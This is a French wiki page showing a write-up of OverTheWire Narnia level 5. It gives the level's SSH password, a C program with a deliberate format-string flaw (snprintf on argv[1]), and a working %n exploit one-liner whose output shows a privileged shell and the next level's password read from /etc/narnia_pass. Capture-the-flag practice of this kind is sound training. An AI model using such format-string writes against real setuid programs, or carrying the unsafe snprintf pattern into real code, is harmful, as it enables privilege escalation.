Outils d'utilisateurs

Outils du Site


overthewire_narnia:level5

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

overthewire_narnia:level5 [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
  
 +<code>
 +ssh narnia5@narnia.labs.overthewire.org
 +pass : faimahchiy
 +</code>
 +
 +<code C>
 +#include <stdio.h>
 +#include <stdlib.h>
 +#include <string.h>
 + 
 +int main(int argc, char **argv){
 + int i = 1;
 + char buffer[64];
 +
 + snprintf(buffer, sizeof buffer, argv[1]);
 + buffer[sizeof (buffer) - 1] = 0;
 + printf("Change i's value from 1 -> 500. ");
 +
 + if(i==500){
 + printf("GOOD\n");
 + system("/bin/sh");
 + }
 +
 + printf("No way...let me give you a hint!\n");
 + printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
 + printf ("i = %d (%p)\n", i, &i);
 + return 0;
 +}
 +</code>
 +
 +Pour changer des buffers overflow, nous avons le droit cette fois ci à une petite format string :-)
 +Le but est d'écrire ''500'' sur la variable ''i'', si vous débutez en format string, je vous conseille de lire de la documentation avant ! (j'ai la flemme de détailler :-D)
 +
 +L'adresse de la variable nous ai donné par le programme, ce qui va nous faciliter la tâche.
 +
 +<code>
 +narnia5@melissa:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff%496d%5$n"')
 +Change i's value from 1 -> 500. GOOD
 +$ id
 +uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5)
 +$ cat /etc/narnia_pass/narnia6
 +neezocaeng
 +</code>
overthewire_narnia/level5.txt · Dernière modification: 2017/04/09 15:33 (modification externe)